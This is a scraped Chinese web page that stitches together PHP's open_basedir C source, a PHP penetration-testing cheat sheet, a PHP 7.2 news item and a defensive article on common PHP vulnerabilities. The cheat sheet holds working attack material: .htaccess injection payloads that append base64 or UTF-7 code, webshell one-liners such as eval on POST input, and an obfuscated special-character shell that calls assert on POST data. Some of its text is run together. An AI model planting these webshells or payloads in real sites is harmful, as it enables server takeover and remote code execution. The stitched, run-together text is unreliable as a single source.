PHPAPI int php_check_open_basedir_ex(const char *path, int warn)

{

/* Only check when open_basedir is available */

if (PG(open_basedir) && *PG(open_basedir)) {

char *pathbuf;

char *ptr;

char *end;

/* Check if the path is too long so we can give a more useful error

* message. */

if (strlen(path) > (MAXPATHLEN - 1)) {

php_error_docref(NULL, E_WARNING, "File name is longer than the maximum allowed path length on this platform (%d): %s", MAXPATHLEN, path);

errno = EINVAL;

return -1;

}

pathbuf = estrdup(PG(open_basedir))

ptr = pathbuf;

while (ptr && *ptr) {

end = strchr(ptr, DEFAULT_DIR_SEPARATOR);

if (end != NULL) {

*end = '\0';

end++;

}

if (php_check_specific_open_basedir(ptr, path) == 0) {

efree(pathbuf);

return 0;

}

ptr = end;

}

if (warn) {

php_error_docref(NULL, E_WARNING, "open_basedir restriction in effect. File(%s) is not within the allowed path(s): (%s)", path, PG(open_basedir));

}

efree(pathbuf);

errno = EPERM; /* we deny permission to open it */

return -1;

}

/* Nothing to check... */

return 0;

}

4.1.5. phpinfo相关漏洞

4.1.5.1. Session.Save

PHP的Session默认handler为文件,存储在 php.ini 的 session.save_path 中,若有任意读写文件的权限,则可修改或读取session。从phpinfo中可获得session位置

4.1.5.2. Session.Upload

php.ini默认开启了 session.upload_progress.enabled , 该选项会导致生成上传进度文件,其存储路径可以在phpinfo中获取。

那么可以构造特别的报文向服务器发送,在有LFI的情况下即可利用。

4.1.5.3. /tmp临时文件竞争

phpinfo中可以看到上传的临时文件的路径,从而实现LFI

4.1.6. htaccess injection payload

4.1.6.1. file inclusion

利用 auto_prepend_file 和 include_path

4.1.6.2. code execution

php_value auto_append_file .htaccess

#<?php phpinfo();

4.1.6.3. file inclusion

php_flag allow_url_include 1php_value auto_append_file data://text/plain;,PD9waHAgcGhwaW5mbygpOw==#php_value auto_append_file data://text/plain,%3C%3Fphp+phpinfo%28%29%3B#php_value auto_append_file /evil-code.txt4.1.6.4. code execution with UTF-7

php_flag zend.multibyte 1

php_value zend._encoding "UTF-7"

php_value auto_append_file .htaccess

#+ADw?php phpinfo()+ADs

4.1.6.5. Source code disclosure

php_flag engine 0

4.1.7. WebShell

4.1.7.1. 常见变形

GLOBALSeval($GLOBALS['_POST']['op']);$_FILEeval($_FILE['name']);拆分assert(${"_PO"."ST"} ['sz']);动态函数执行$k="ass"."ert"; $k(${"_PO"."ST"} ['sz']);create_function$function = create_function('$code',strrev('lave').'('.strrev('TEG_$').'["code"]);');$function();preg_replacerot13进制转化"\x62\x61\163\x65\x36\x34\137\144\145\x63\x6f\144\145"利用文件名__FILE__4.1.7.2. 字符串变形函数

ucwordsucfirsttrimsubstr_replacesubstrstrtrstrtoupperstrtolowerstrtokstr_rot134.1.7.3. 回调函数

call_user_func_arraycall_user_funcarray_filterarray_walkarray_mapregistregister_shutdown_functionregister_tick_functionfilter_varfilter_var_arrayuasortuksortarray_reducearray_walkarray_walk_recursive4.1.7.4. 特殊字符Shell

PHP的字符串可以在进行异或、自增运算的时候,会直接进行运算,故可以使用特殊字符来构成Shell。

@$_++;

$__=("#"^"|").("."^"~").("/"^"`").("|"^"/").("{"^"/");

@${$__}[!$_](${$__}[$_]);

$_=[];

$_=@"$_"; // $_='Array';

$_=$_['!'=='@']; // $_=$_[0];

$___=$_; // A

$__=$_;

$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;

$___.=$__; // S

$___.=$__; // S

$__=$_;

$__++;$__++;$__++;$__++; // E

$___.=$__;

$__=$_; $__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // R

$___.=$__;

$__=$_;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // T

$___.=$__;

$____='_';

$__=$_;

$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // P

$____.=$__;

$__=$_;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // O

$____.=$__;

$__=$_;

$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // S

$____.=$__;

$__=$_;

$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // T

$____.=$__;

$_=$$____;

$___(_decode($_[_]));

4.1.8. 其它

4.1.8.1. 低精度

php中并不是用高精度来存储浮点数,而是用使用 IEEE 754 双精度格式,造成在涉及到浮点数比较的时候可能会出现预期之外的错误。比如 php -r "var_dump(0.2+0.7==

0.9);" 这行代码的输出是 bool(false) 而不是 bool(true)。这在一些情况下可能出现问题。

4.1.8.2. 弱类型

如果使用 == 来判断相等,则会因为类型推断出现一些预料之外的行为,比如magic hash,指当两个md5值都是 0e[0-9]{30} 的时候,就会认为两个hash值相等。另外在判断字符串和数字的时候,PHP会自动做类型转换,那么 1=="1a.php" 的结果会是true

另外在判断一些hash时,如果传入的是数组,返回值会为 NULL, 因此在判断来自网络请求的数据的哈希值时需要先判断数据类型。

同样的, strcmp() ereg() strpos() 这些函数在处理数组的时候也会异常,返回NULL。

4.1.8.3. 命令执行

preg_replace 第一个参数是//e的时候,第二个参数会被当作命令执行

4.1.8.4. 截断

PHP字符存在截断行为,可以使用 ereg / %00 / iconv 等实现php字符截断的操作,从而触发漏洞。

4.1.8.5. 变量覆盖

当使用 extract / parse_str 等函数时,或者使用php的 $$ 特性时,如果没有正确的调用,则可能使得用户可以任意修改变量。

4.1.8.6. 执行系统命令

禁用的函数可以在phpinfo中的 disable_functions 中查看

pcntl_execexecpassthrupopenshell_execsystemproc_open4.1.8.7. Magic函数

__construct() __destruct()__call() __callStatic()__get() __set()__isset() __unset()__sleep() __wakeup()__toString()__invoke()__set_state()__clone()__debugInfo()4.1.8.8. 文件相关敏感函数

move_uploaded_filefile_put_contents / file_get_contentsunlinkfopen / fgets4.1.8.9. php特性

php自身在解析请求的时候,如果参数名字中包含” “、”.”、”[“这几个字符,会将他们转换成下划线,讲了那么多渗透测试中PHP后门的安全检测方法,那么如果对此有需求的朋友可以咨询专业的网站安全公司来做渗透测试,国内做的比较好的安全公司如Sinesafe,启明星辰,绿盟等等。

展开
收起

PHP 7.2:一切只为更好的安全性和代码处理

【IT168资讯】PHP 7.2是流行服务器端Web开发语言的最新版本,具有许多功能和修复。

2017年11月30日,发布了PHP 7系列的第二个功能更新。此前,PHP 7.0曾在2015年12月首次亮相,升级提供了之前PHP迭代性能的两倍。

PHP 7.2中的新安全特性

PHP 7.2版本提供了多项安全改进:

1. 用于安全散列密码的Argon2算法解决了当前算法的不足之处,它是针对最高内存填充率而设计的。

2. 现在,用于认证加密的Libsodium密码库是一个核心扩展,还提供高速椭圆密码术。

3. SSL / TLS(安全套接字层/传输层安全性)常量得到了改进。

4. Mcrypt密码库扩展已被删除。PHP的开发人员已经表示,Mcrypt抑制了PHP语言的发展,并充当了“弃用软件”的角色。

PHP 7.2改进了编程功能

PHP 7.2有几个新增的编程功能:

1. 在对象/数组转换中,数字键转换解决了Zend引擎的问题。引擎的数组哈希表可以包含数字字符串,而对象哈希表可以有整数键。在这种情况下,PHP代码找不到密钥。在PHP 7.2中的修复中,数组或对象散列表的键将根据需要进行转换,因此对象中的数字字符串属性名称变成整型数组键,反之亦然,从而解决无法访问的属性问题。

2. 对象类型注解修复了开发人员无法声明需要通过对象作为参数传递的函数,或声明函数应返回对象的情况。该修复程序使用对象作为参数类型和作为返回类型。

3. HashContext作为对象迁移散列扩展,以使用对象扩展而不使用资源。

4. 使用标量参数、null参数或不实现Countable接口的对象调用count()函数时,会添加新的警告。

PHP 7.2可以从php.net website下载。

展开
收起

PHP网站常见安全漏洞及防御方法

目前,基于PHP的网站开发已经成为目前网站开发的主流,本文猫巷重点从PHP网站攻击与安全防范方面进行探究,旨在减少网站漏洞,希望对大家有所帮助!

网站漏洞

一:常见PHP网站漏洞安全。

Session文件漏洞Session攻击是黑客最常用到的攻击手段之一。当一个用户访问某一个网站时,为了免客户每进人一个页面都要输人账号和密码,PHP设置了Session和Cookie用于方便用户的使用和访向。SQL注入漏洞在进行网站开发的时候, 程序员由于对用户输人数据缺乏全面判断或者过滤不严导致服务器执行一些恶意信息,比如用户信息查询等。黑客可以根据恶意程序返回的结果获取相应的信息。这就是所谓的SQL注入漏洞。脚本执行漏洞脚本执行漏洞常见的原因是由于程序员在开发网站时对用户提交的URL参数过滤较少引起的,用户提交的URL可能包含恶意代码导致跨站脚本攻击。脚本执行漏洞在以前的PHP网站中经常存在,但是随着PHP版本的升级,这些间题已经减少或者不存在了。全局变量漏洞PHP中的变量在使用的时候不像其他开发语言那样需要事先声明,PHP中的变量可以不经声明就直接使用,使用的时候系统自动创建,而且也不需要对变量类型进行说明,系统会自动根据上下文环境自动确定变量类型。这种方式可以大大减少程序员编程中出错的概率,使用起来非常的方便。文件漏洞文件漏洞通常是由于网站开发者在进行网站设计时对外部提供的数据缺乏充分的过滤导致黑客利用其中的漏洞在Web进程上执行相应的命令。假如在lsm.php中包含这样一段代码:include($b.”/aaa.php”.),这对黑客来说,可以通过变量$b来实现远程攻击,可以是黑客自已的代码,用来实现对网站的攻击。可以向服务器提交a.php include=http://127.0.0. 1/b.php,然后执行b.php的指令。

二:PHP常见漏洞的防范措施。

对于Session漏洞的防范从前面的分析可以知道,Session攻击最常见的就是会话劫持,也就是黑客通过各种攻击手段获取用户的Session ID,然后利用被攻击用户的身份来登录相应网站。为此,这里可以用以下几种方法进行防范:一是定期更换Session ID,更换Session ID可以用PHP自带函数来实现;二是更换Session名称,通常情况下Session的默认名称是PHPSESSID,这个变量一般是在cookie中保存的,如果更改了它的名称,就可以阻档黑客的部分攻击;三是对透明化的Session ID进行关闭处理,所谓透明化也就是指在http请求没有使用cookies来制定Session id时,Sessioin id使用链接来传递.关闭透明化Session ID可以通过操作PHP.ini文件来实现;四是通过URL传递隐藏参数,这样可以确保即使黑客获取了session数据,但是由于相关参数是隐藏的,它也很难获得Session ID变量值。对于SQL注入漏洞的防范黑客进行SQL注入手段很多,而且灵活多变,但是SQL注人的共同点就是利用输入过滤漏洞。因此,要想从根本上防止SQL注入,根本解决措施就是加强对请求命令尤其是查询请求命令的过滤。具体来说,包括以下几点:一是把过滤性语句进行参数化处理,也就是通过参数化语句实现用户信息的输入而不是直接把用户输入嵌入到语句中。二是在网站开发的时候尽可能少用解释性程序,黑客经常通过这种手段来执行非法命令;三是在网站开发时尽可能避免网站出现bug,否则黑客可能利用这些信息来攻击网站;仅仅通过防御SQL注入还是不够的,另外还要经常使用专业的漏洞扫描工具对网站进行漏洞扫描。对于脚本执行漏洞的防范黑客利用脚本执行漏洞进行攻击的手段是多种多样的,而且是灵活多变的,对此,必须要采用多种防范方法综合的手段,才能有效防止黑客对脚本执行漏洞进行攻击。这里常用的方法方法有以下四种。一是对可执行文件的路径进行预先设定。可以通过safe_moade_exec_dir来实现;二是对命令参数进行处理,一般用escapeshellarg函数实现;三是用系统自带的函数库来代替外部命令;四是在操作的时候进可能减少使用外部命令。4.对于全局变量漏洞的防范对于PHP全局变量的漏洞问题,以前的PHP版本存在这样的问题,但是随着PHP版本升级到5.5以后,可以通过对php.ini的设置来实现,设置ruquest_order为GPC。另外在php.ini配置文件中,可以通过对 Magic _quotes_runtime进行布尔值设置是否对外部引人的数据中的溢出字符加反斜线。为了确保网站程序在服务器的任何设置状态下都能运行。可以在整个程序开始的时候用get_magic_quotes_runtime检测设置状态决定是否要手工处理,或者在开始(或不需要自动转义的时候)用set_magic_quotes_runtime(0)关掉。5.对于文件漏洞的防范对于PHP文件漏洞可以通过对服务器进行设置和配置来达到防范目的。这里具体的操作如下: 一是把PHP代码中的错误提示关闭,这样可以避免黑客通过错误提示获取数据库信息和网页文件物理路径;二是对open_basedir尽心设置,也就是对目录外的文件操作进行禁止处理;这样可以对本地文件或者远程文件起到保护作用,防止它们被攻击,这里还要注意防范Session文件和上载文件的攻击;三是把safe-made设置为开启状态,从而对将要执行的命令进行规范,通过禁止文件上传,可以有效的提高PHP网站的安全系数。

欢迎大家关注这个百家号,作为一个技术型的百家号,请大家多多指导,另外可以去我的博客踩踩-->猫巷の博客,百度猫巷或者直接访问lovyou.top,emmm~~~,爱你们,谢谢大家支持。

展开
收起